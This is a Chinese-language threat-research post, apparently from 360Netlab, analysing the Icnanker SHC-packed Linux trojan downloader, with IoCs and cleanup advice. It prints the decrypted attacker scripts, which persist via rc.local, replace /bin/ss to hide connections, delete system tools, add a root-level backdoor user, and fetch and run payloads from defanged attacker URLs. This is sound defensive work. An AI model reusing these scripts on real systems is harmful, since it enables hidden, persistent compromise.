Icnanker, 一个使用了SHC技术的木马下载器
<!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了&quot;SHC(Shell script compiler)&quot;技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。<br>
此次攻击，在我们看来没有太多的新颖性，因此并没有公开。<br>
2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为<a href="https://twitter.com/IntezerLabs/status/1238090121624379392">Icnanker</a>。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:</p>
<ul>
<li>SHC技术</li>
<li>Icananker的分类及其功能</li>
<li>Icananker分发的业务</li>
</ul>
<h2 id="">概览</h2>
<p>Icnanker是我们观察到的第一个使用<a href="https://github.com/neurobin/shc">SHC</a>技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。<br>
目前Icnanker的样本按照功能可以分成2大类：</p>
<ul>
<li>Downloader<br>
Downloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png"><img src="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png" class="kg-image"/></a></li>
<li>Protector<br>
Protector用于保护样本不被删除，目前用于保护Miner。</li>
</ul>
<p>Downloader的主要功能如下：</p>
<ul>
<li>持久化</li>
<li>隐藏自身</li>
<li>删除系统命令</li>
<li>增加新用户</li>
<li>下载执行具体业务样本</li>
</ul>
<p>Protector的主要功能如下</p>
<ul>
<li>删除系统命令，保护自身不被删除</li>
</ul>
<h2 id="">逆向分析</h2>
<p>本文的选取的分析对象为以下2个样本，<br>
<mark>187fa428ed44f006df0c8232be4a6e4e</mark>为Miner的Protector，<br>
<mark>5790dedae465994d179c63782e51bac1</mark>为Elknot Botnet的Downloader。</p>
<blockquote>
<p>MD5:5790dedae465994d179c63782e51bac1</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped</p>
<p>Packer: No</p>
<p><strong>Verdict:Malicious,Downloader</strong></p>
</blockquote>
<blockquote>
<p>187fa428ed44f006df0c8232be4a6e4e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped</p>
<p>Packer:No</p>
<p><strong>Verdict:Malicious,Protector</strong></p>
</blockquote>
<p>在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的&quot;SHC(Shell script compiler)&quot;技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_flag.png"><img src="__GHOST_URL__/content/images/2020/03/shc_flag.png" class="kg-image"/></a><br>
依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用<a href="https://github.com/yanncam/UnSHc">UnSHc</a>直接解密出脚本</p>
<pre><code class="language-bash">[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
	[0] Working with var address at offset [0x80ed087] (0x2a bytes)
	[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
                            ...............
	[12] Working with var address at offset [0x80f1280] (0x13 bytes)
	[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
	[+] PWD address found : [0x80f12ed]
	[+] PWD size found : [0x100]
[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
                            ...............
[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!


</code></pre>
<h3 id="protector187fa428ed44f006df0c8232be4a6e4esh">Protector(187fa428ed44f006df0c8232be4a6e4e.sh)</h3>
<pre><code>#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr &gt;/dev/null 2&gt;&amp;1
lockr +i /usr/bin/.locks &gt;/dev/null 2&gt;&amp;1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr &gt;/dev/null 2&gt;&amp;1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc &gt;/dev/null 2&gt;&amp;1
lockr +i /usr/bin/.locksc &gt;/dev/null 2&gt;&amp;1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc &gt;/dev/null 2&gt;&amp;1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
</code></pre>
<p>在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。</p>
<h3 id="downloader5790dedae465994d179c63782e51bac1sh">Downloader(5790dedae465994d179c63782e51bac1.sh)</h3>
<pre><code class="language-bash">    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
                ...............
    echo &quot;byicnanker 2228668564&quot; &gt; $Config
	tempfile=`cat $Config | awk '{print $1}'`
	filetemp=&quot;/usr/bin/$tempfile&quot; #现马的路径
	filename=`date +%s%N | md5sum | head -c 10`
	filepath=&quot;/usr/bin/$filename&quot; #新马的路径
	tempbash=`cat $Config | awk '{print $2}'`
	bashtemp=&quot;/usr/bin/$tempbash&quot; #现脚本路径
	bashname=`date +%s%N | md5sum | head -c 10`
	bashpath=&quot;/usr/bin/$bashname&quot; #新脚本路径
               ...............
</code></pre>
<p>此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。<br>
由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。</p>
<ul>
<li>持久化，通过re.local实现自启动。</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
  if [ $Repeatstart != 1 ];then
  	lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
  fi
  if [ -z &quot;`cat /etc/rc.local | grep &quot;$bashtemp&quot;`&quot; ]; then
  	if [ -z &quot;`cat /etc/rc.local | grep &quot;$exit0&quot;`&quot; ]; then
  		lockr -i /etc/;lockr -i /etc/rc.local
  		echo &quot;$bashpath start&quot; &gt;&gt; /etc/rc.local
  	else
  		lockr -i /etc/;lockr -i /etc/rc.local
  		sed -i &quot;s|exit 0|$bashpath start|&quot; /etc/rc.local
  		echo &quot;exit 0&quot;&gt;&gt;/etc/rc.local
  	fi
  fi
</code></pre>
<ul>
<li>隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。</li>
</ul>
<pre><code>if [ -f /bin/ss ];then
	if [ ! -f &quot;$iss&quot; ];then
		if [ ! -f &quot;$issbak&quot; ];then
			lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
			cp -f /bin/ss $issbak
			cp -f /bin/ss $iss
		else
			cp -f $issbak $iss
		fi
		chmod 777 $iss;chmod 777 $issbak
		lockr +i $issbak &gt;/dev/null 2&gt;&amp;1
		lockr +i $iss &gt;/dev/null 2&gt;&amp;1
	else
		if [ ! -f &quot;$issbak&quot; ];then
			lockr -i /usr/bin/;cp -f $iss $issbak
			lockr +i $issbak &gt;/dev/null 2&gt;&amp;1
		fi	
		if [ -z &quot;`cat /bin/ss | grep $Address`&quot; ]; then
			lockr -i /bin/;lockr -i /bin/ss
			echo '#!/bin/sh' &gt; /bin/ss
			echo 'iss|grep -v &quot;'$Address'&quot;' &gt;&gt; /bin/ss
			echo 'exit' &gt;&gt; /bin/ss
			chmod 777 /bin/ss;lockr +i /bin/ss &gt;/dev/null 2&gt;&amp;1
		fi
	fi
fi

</code></pre>
<ul>
<li>删除系统指令,增加修复难度。</li>
</ul>
<pre><code>lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
</code></pre>
<ul>
<li>增加新用户(ntps),方便后续控制受害者机器</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  if [ -z &quot;`cat /etc/passwd|grep &quot;ntps&quot;`&quot; ]; then
  	lockr -i /etc/;lockr -i /etc/passwd #ntps
  	echo 'ntps:x:0:1:ntps:/root:/bin/bash' &gt;&gt; /etc/passwd
  	lockr -i /etc/;lockr +i /etc/passwd &gt;/dev/null 2&gt;&amp;1
  fi
  if [ -z &quot;`cat /etc/shadow|grep &quot;ntps&quot;`&quot; ]; then
  	lockr -i /etc/;lockr -i /etc/shadow #tianyong
  	echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' &gt;&gt; /etc/shadow
  	lockr -i /etc/;lockr +i /etc/shadow &gt;/dev/null 2&gt;&amp;1
  fi
</code></pre>
<ul>
<li>下载执行具体业务样本,此处为Elknot Botnet。</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  iptable=`iptables -L INPUT | grep &quot;$Address&quot; | grep 'ACCEPT'`
  if [ -z &quot;$iptable&quot; ];then
  	iptables -I INPUT -s $Address -j ACCEPT
  else
  	iptables -D INPUT -s $Address -j DROP
  fi
  process=`ips -ef | grep &quot;$tempfile&quot; | grep -v &quot;grep&quot; | wc -l`
  if [ $process != 1 ];then
  	if [ ! -f &quot;$filebak&quot; ];then
  		lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
  		cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
  		cd $path;mv -f /usr/bin/htrdpm $filepath
  	else
  		cp -f $filebak $filepath
  	fi
  	Runkillallconnect
  	chmod 777 $filepath
  	nohup $filepath &gt;/dev/null 2&gt;&amp;1 &amp;
  fi
</code></pre>
<p>至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。<br>
以elknot VS miner为例</p>
<pre><code>elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep &quot;Address: &quot;|awk '{print $2}'`
if [ -z &quot;$ResolveIP&quot; ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' &gt; /etc/resolv.conf
	echo 'nameserver 8.8.8.8' &gt;&gt; /etc/resolv.conf
	echo 'nameserver 8.8.4.4' &gt;&gt; /etc/resolv.conf
	lockr +i /etc/resolv.conf &gt;/dev/null 2&gt;&amp;1
	service network restart;sleep 1
	Address=`nslookup ddd.ubtv.xyz|grep &quot;Address: &quot;|awk '{print $2}'`
else
	Address=&quot;$ResolveIP&quot;
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm

-------------------------------------------VS----------------------------------------

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep &quot;Address: &quot;|awk '{print $2}'`
if [ -z &quot;$ResolveIP&quot; ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' &gt; /etc/resolv.conf
	echo 'nameserver 8.8.8.8' &gt;&gt; /etc/resolv.conf
	echo 'nameserver 8.8.4.4' &gt;&gt; /etc/resolv.conf
	lockr +i /etc/resolv.conf &gt;/dev/null 2&gt;&amp;1
	service network restart;sleep 1
	Address=`nslookup p[ool.supportxmr.com|grep &quot;Address: &quot;|awk '{print $2}'`
else
	Address=&quot;$ResolveIP&quot;
fi
dget http[://xz.jave.xyz:22345/.xm
</code></pre>
<p>目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>payload type</th>
<th>payload url</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>5790dedae465994d179c63782e51bac1</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>.ds1;.ds2</td>
<td>6abe83ee8481b5ce0894d837eabb41df</td>
<td>miner</td>
<td>http[://xz.jave.xyz:22345/.xm</td>
</tr>
<tr>
<td>.ssh</td>
<td>89cd1ebfa5757dca1286fd925e0762de</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>19880</td>
<td>d989e81c4eb23c1e701024ed26f55849</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdps</td>
</tr>
</tbody>
</table>
<h2 id="">业务样本</h2>
<p>Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。</p>
<ul>
<li>
<p>Elknot Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>htrdps</td>
<td>5c90bfbae5c030da91c9054ecb3194b6</td>
<td>ubt.ubtv.xyz:19880, jav.jave.xyz:6001</td>
</tr>
<tr>
<td>kcompact0</td>
<td>eec19f1639871b6e6356e7ee05db8a94</td>
<td>sys.jave.xyz:1764, jav.jave.xyz:6001</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Xor.DDoS Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ss</td>
<td>0764da93868218d6ae999ed7bd66a98e</td>
<td>8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Miner</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>17ac3bd2753b900367cb9ee4068fe0c1</td>
<td></td>
</tr>
<tr>
<td>.xm</td>
<td>765a0899cb87400e8a27ab572f3cdd61</td>
<td></td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="">处置建议</h2>
<p>我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。<br>
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">Twitter</a> 或者在微信公众号 360Netlab 上联系我们。</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
</code></pre>
<h3 id="cc">CC</h3>
<pre><code>ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764  #Elknot
jav.jave.xyz:6001  #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345  #Icnanker HFS
</code></pre>
<!--kg-card-end: markdown-->
背景介绍


2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了"SHC(Shell script compiler)"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。

此次攻击，在我们看来没有太多的新颖性，因此并没有公开。

2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为Icnanker。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:


 * SHC技术
 * Icananker的分类及其功能
 * Icananker分发的业务



概览


Icnanker是我们观察到的第一个使用SHC技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。

目前Icnanker的样本按照功能可以分成2大类：


 * Downloader
   
   Downloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。
   
   
 * Protector
   
   Protector用于保护样本不被删除，目前用于保护Miner。


Downloader的主要功能如下：


 * 持久化
 * 隐藏自身
 * 删除系统命令
 * 增加新用户
 * 下载执行具体业务样本


Protector的主要功能如下


 * 删除系统命令，保护自身不被删除



逆向分析


本文的选取的分析对象为以下2个样本，

187fa428ed44f006df0c8232be4a6e4e为Miner的Protector，

5790dedae465994d179c63782e51bac1为Elknot Botnet的Downloader。





MD5:5790dedae465994d179c63782e51bac1


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped


Packer: No


Verdict:Malicious,Downloader






187fa428ed44f006df0c8232be4a6e4e

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped


Packer:No


Verdict:Malicious,Protector



在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的"SHC(Shell script compiler)"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。



依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用UnSHc直接解密出脚本


[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
	[0] Working with var address at offset [0x80ed087] (0x2a bytes)
	[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
                            ...............
	[12] Working with var address at offset [0x80f1280] (0x13 bytes)
	[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
	[+] PWD address found : [0x80f12ed]
	[+] PWD size found : [0x100]
[*] Executing [__GHOST_URL__/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
                            ...............
[*] Executing [__GHOST_URL__/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!






Protector(187fa428ed44f006df0c8232be4a6e4e.sh)


#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0



在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。



Downloader(5790dedae465994d179c63782e51bac1.sh)


    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
                ...............
    echo "byicnanker 2228668564" > $Config
	tempfile=`cat $Config | awk '{print $1}'`
	filetemp="/usr/bin/$tempfile" #现马的路径
	filename=`date +%s%N | md5sum | head -c 10`
	filepath="/usr/bin/$filename" #新马的路径
	tempbash=`cat $Config | awk '{print $2}'`
	bashtemp="/usr/bin/$tempbash" #现脚本路径
	bashname=`date +%s%N | md5sum | head -c 10`
	bashpath="/usr/bin/$bashname" #新脚本路径
               ...............



此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。

由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。


 * 持久化，通过re.local实现自启动。


  # by icnanker -----------------------------------------------
  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
  if [ $Repeatstart != 1 ];then
  	lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
  fi
  if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
  	if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
  		lockr -i /etc/;lockr -i /etc/rc.local
  		echo "$bashpath start" >> /etc/rc.local
  	else
  		lockr -i /etc/;lockr -i /etc/rc.local
  		sed -i "s|exit 0|$bashpath start|" /etc/rc.local
  		echo "exit 0">>/etc/rc.local
  	fi
  fi



 * 隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。


if [ -f /bin/ss ];then
	if [ ! -f "$iss" ];then
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
			cp -f /bin/ss $issbak
			cp -f /bin/ss $iss
		else
			cp -f $issbak $iss
		fi
		chmod 777 $iss;chmod 777 $issbak
		lockr +i $issbak >/dev/null 2>&1
		lockr +i $iss >/dev/null 2>&1
	else
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;cp -f $iss $issbak
			lockr +i $issbak >/dev/null 2>&1
		fi	
		if [ -z "`cat /bin/ss | grep $Address`" ]; then
			lockr -i /bin/;lockr -i /bin/ss
			echo '#!/bin/sh' > /bin/ss
			echo 'iss|grep -v "'$Address'"' >> /bin/ss
			echo 'exit' >> /bin/ss
			chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
		fi
	fi
fi




 * 删除系统指令,增加修复难度。


lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr



 * 增加新用户(ntps),方便后续控制受害者机器


  # by icnanker -----------------------------------------------
  if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/passwd #ntps
  	echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
  	lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
  fi
  if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/shadow #tianyong
  	echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
  	lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
  fi



 * 下载执行具体业务样本,此处为Elknot Botnet。


  # by icnanker -----------------------------------------------
  iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
  if [ -z "$iptable" ];then
  	iptables -I INPUT -s $Address -j ACCEPT
  else
  	iptables -D INPUT -s $Address -j DROP
  fi
  process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
  if [ $process != 1 ];then
  	if [ ! -f "$filebak" ];then
  		lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
  		cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
  		cd $path;mv -f /usr/bin/htrdpm $filepath
  	else
  		cp -f $filebak $filepath
  	fi
  	Runkillallconnect
  	chmod 777 $filepath
  	nohup $filepath >/dev/null 2>&1 &
  fi



至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。

以elknot VS miner为例


elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm

-------------------------------------------VS----------------------------------------

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
dget http[://xz.jave.xyz:22345/.xm



目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。





filename
md5
payload type
payload url




80
5790dedae465994d179c63782e51bac1
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


.ds1;.ds2
6abe83ee8481b5ce0894d837eabb41df
miner
http[://xz.jave.xyz:22345/.xm


.ssh
89cd1ebfa5757dca1286fd925e0762de
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


19880
d989e81c4eb23c1e701024ed26f55849
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdps






业务样本


Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。


 * 
   
   
   Elknot Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   htrdps
   5c90bfbae5c030da91c9054ecb3194b6
   ubt.ubtv.xyz:19880, jav.jave.xyz:6001
   
   
   kcompact0
   eec19f1639871b6e6356e7ee05db8a94
   sys.jave.xyz:1764, jav.jave.xyz:6001
   
   
   
   

 * 
   
   
   Xor.DDoS Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   ss
   0764da93868218d6ae999ed7bd66a98e
   8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987
   
   
   
   

 * 
   
   
   Miner
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   sh
   17ac3bd2753b900367cb9ee4068fe0c1
   
   
   
   .xm
   765a0899cb87400e8a27ab572f3cdd61
   
   
   
   
   



处置建议


我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。

相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。



联系我们


感兴趣的读者，可以在 Twitter 或者在微信公众号 360Netlab 上联系我们。



IoC list



Sample MD5


5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e




CC


ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764  #Elknot
jav.jave.xyz:6001  #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345  #Icnanker HFS


